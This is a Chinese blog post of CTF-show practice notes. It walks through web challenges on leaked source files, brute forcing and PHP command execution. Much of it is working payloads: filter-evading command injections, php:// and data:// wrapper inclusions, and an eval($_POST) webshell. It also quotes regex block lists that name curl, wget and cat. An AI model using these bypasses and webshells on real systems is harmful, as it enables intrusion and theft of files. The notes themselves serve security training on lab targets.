CTF-show刷题笔记

发布于 2022-02-28  1429 次阅读


web入门

信息收集

  • web1
    • 开发注释未及时删除
    • 右键查看源代码获取flag
  • web2
    • js前台拦截 === 无效操作
    • 题目提示无法查看源代码,估计是禁用了右键
    • view-source:ip即可查看页面源代码
  • web3
    • 没思路的时候抓个包看看,可能会有意外收获
    • bp抓包,ctal+r发送获得flag
  • web4
    • 总有人把后台地址写入robots,帮黑阔大佬们引路。
    • 访问robots.txt,指引访问/flagishere.txt获得flag
  • web5
    • phps源码泄露有时候能帮上忙
    • 访问index.phps,下载发现flag
  • web6
    • 解压源码到当前目录,测试正常,收工
    • 访问www.zip,解压发现加的flag,访问fl000g.txt,获得flag
  • web7
    • 版本控制很重要,但不要部署到生产环境更重要。
    • 访问/.git/index.php即可
    • git源码泄露
  • web8
    • 版本控制很重要,但不要部署到生产环境更重要。
    • svn泄露
    • 访问/.svn获得flag
  • web9
    • 发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
    • vim缓存信息泄露
      访问index.php.swp
  • web10
    • cookie 只是一块饼干,不能存放任何隐私数据
    • 抓包发现cookie有flag,url解码即可
  • web11
    • 域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息
    • http://dbcha.com/查询ctfshow.com
  • web12
    • 有时候网站上的公开信息,就是管理员常用密码
    • 发现联系方式372619038
      访问/robots.txt获得/admin
      访问/admin,尝试admin:372619038
  • web13
    • 技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
    • 在网页最下方document,发现信息
      默认后台地址:http://ip/system1103/login.php
      默认用户名:admin
      默认密码:admin1103
      登录获得flag
  • web14
    • 有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
    • 根据提示访问/editor/
      在点击图片摁扭访问本地文件系统/editor/attached/image/var/www/html/nothinghere/fl000g.txt
      访问ip/nothinghere/fl000g.txt找到flag
  • web15
    • 公开的信息比如邮箱,可能造成信息泄露,产生严重后果
    • 页面发现邮箱1156631961@qq.com
      访问/admin/,忘记密码
      qq搜索1156631961,发现西安
      成功重置密码admin7789,登录获取flag
  • web16
    • 对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
    • 访问/tz.php
      根据探针访问/phpinfo,获得flag
  • web17
    • 备份的sql文件会泄露敏感信息
    • 访问/backup.sql获得flag
  • web18
    • 不要着急,休息,休息一会儿,玩101分给你flag
    • 查看js,\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b
    • 进行Unicode解码得到 “你赢了,去幺幺零点皮爱吃皮看看”
    • 访问/110.php得到flag
  • web19
    • 密钥什么的,就不要放在前端了
    • 抓包发包看到页面源代码注释部分有账号密码
      抓包直接提交账号密码username=admin&pazzword=a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
    • 返回flag
  • web20
    • mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
    • 访问/db/db.mdb,txt打开获取flag

爆破

  • web21
    • 401爆破
    • 发包抓包发现admin:123以base64加密方式传输
      放到重发器里,加前缀admin:之后再base64加密
      由于靶场问题爆破速度5,200为正确的账号密码
      获得admin:shark63,登录获得flag
  • web22
    • 域名也可以爆破的,试试爆破这个ctf.show的子域名
    • bp子域名爆破
      flag{ctf_show_web},用这个挖,子域名网站崩了
  • web23
    • 还爆破?这么多代码,告辞!
    • 析代码,可以知道 token被md5加密,且它的第一位=第十四位=第十七位,(第一位+第十四位+第十七位)/第一位=第三十一位
      传一个/?token=$1$$2$,然后0-9,a-z爆破,获得?token=3j获得flag
  • web24
    • 爆个🔨
    • <?php mt_srand(372619038); echo(mt_rand()); ?>
      1155388967
  • web25(没看懂)
    • 爆个🔨,不爆了
    • ?r=0     -2118761545
  • web26
    • 抓包,爆破获得密码7758521
  • web27
    • 爆破日期
    • 爆破获得\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237\u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801,解码获得恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码
      登录02015237:621022199002015237获得flag
  • web28
    • 目录爆破、
    • /1-100/1-100爆破
    • 爆破/72/20返回200获得flag

命令执行

  • web29
    • 命令执行,需要严格的过滤
    • preg_match("/flag/i", $c)  正则匹配/i大小写不敏感匹配flag
      ?c=system("ls");
      /?c=system("cat f'l'a'g'.php");
  • web30
    • 命令执行,需要严格的过滤
    • /?c=eval($_POST[cmd]);     蚁剑连接即可
  • web31
    • 命令执行,需要严格的过滤
    • /?c=echo`ls`;
      ?c=echo`tac%09f*`;
  • web32
    • ?c=include$_GET[a]?>&a=
      php://filter/read=convert.base64-encode/resource=flag.php
  • web33
    • ?c=include$_GET[a]?>&a=
      php://filter/read=convert.base64-encode/resource=flag.php
  • web34
    • ?c=include$_GET[a]?>&a=
      php://filter/read=convert.base64-encode/resource=flag.php
  • web35
    • ?c=include$_GET[a]?>&a=
      php://filter/read=convert.base64-encode/resource=flag.php
  • web36
    • ?c=include$_GET[a]?>&a=
      php://filter/read=convert.base64-encode/resource=flag.php
  • web37
    • ?c=data://text/plain,<?php system("ls");
      ?c=data://text/plain,<?php system("cat fl?g.php");
  • web38
    • ?c=data://text/plain,<?= system("cat fl*");
    • 在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>
    • 只有开启这个才可以使用 <?= 以代替 <? echo
  • web39
    • ?c=data://text/plain,<?= system("cat fla*");?>
  • web40
    • 不会
  • web41
    • 不会
  • web42
    • system($c." >/dev/null 2>&1");把标准输出和错误输出都重定向到了/dev/null,相当于没有了输出,但是这仅仅影响它本来的那一条命令,分隔命令即可,也就是命令执行中的执行多条命令。
    • cat flag.php%0a
      cat flag.php; cat flag.php%0a cat flag.php|| cat flag.php%26 cat flag.php%26%26
  • web43
    •    if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");
    • ?c=tac flag.php%0a
  • web44
    •  if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");
    • ?c=tac fl?g.php%0a
  • web45
    • if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");
    • ?c=tac$IFS$9fl*%0a
  • web46
    • if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");
    • ?c=tac%09fla?????%0a
  • web47
    • if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");
    • ?c=tac%09fla?????%0a
  • web48
    • if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");
    • ?c=tac%09fla?????%0a
  • web49
    • if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");
    • ?c=tac%09fla?????%0a
  • web50
    • if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");
    • ?c=tac<>fl'a'g.php%0a
  • web51
    •  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");
    • ?c=nl<>fl'a'g.php%0a
  • web52
    • if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");
    • ?c=nl$IFS/fl''ag%0a
  • web53
    •  if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c))
    • ?c=c'a't$IFS''fl''ag.php%0a
  • web54
    • if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
    • ?c=/bin/?at${IFS}f???????
  • web55
    • if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);
    • 首先是/bin这个目录。
      bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等就像上一题用到了/bin/ca?一样,这题利用/bin/base64
      base64这个命令就是将指定的文件的内容以base64加密的形式输出。
      因为过滤了字母,正好可以用64来匹配
      姿势一有些类似,不过利用的是/usr/bin目录:
      主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
    • /???/????64 ????????匹配的是/bin/base64 flag.php
      /???/???/????2 ????????匹配/usr/bin/bzip2 flag.php
  • web56
    • if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
    • <!DOCTYPE html>
      <html>
      <head>
      <title></title>
      </head>
      <body>
      <form action="http://2c9ec26d-3c3b-4962-84a4-877616dd02a8.challenge.ctf.show" method="post" enctype="multipart/form-data">
      <input type="file" name="1">
      <input type="submit" name="2">
      </form>
      </body>
      </html>
      /?c=.%20/???/????????[@-[]
      摘自
  • web57
    • //flag in 36.phpif(isset($_GET['c'])){$c=$_GET['c'];

      if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){

      system("cat ".$c.".php");

    • $((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
    • ${_} ="" //返回上一次命令
      $((${_}))=0
      $((~$((${_}))))=-1
  • web58
    • 过函数
    • c=show_source('flag.php');
  • web59
    • 过函数
    • copy("flag.php","flag.txt");  c=show_source("flag.php");
  • web60
    • c=show_source("flag.php");
  • web61
    • c=show_source("flag.php");
  • web62
    • c=show_source("flag.php");
  • web63
    • c=show_source("flag.php");
  • web64
    • c=show_source("flag.php");
  • web65
    • c=show_source("flag.php");
  • web66
    • c=var_dump(scandir('/'));发现flag.txt
    • c=highlight_file("/flag.txt");
  • web67
    • c=highlight_file("/flag.txt");
  • web68
    • 文件包含过涨知识了
    • c=include("/flag.txt");
  • web69
    • c=include("/flag.txt");
  • web70
    • c=include("/flag.txt");
  • web71
    • c=include("/flag.txt");exit();
  • web72
    • 没看懂
  • web73
  • 剩下的看不懂了

文件包含

子夜不哭
最后更新于 2022-02-28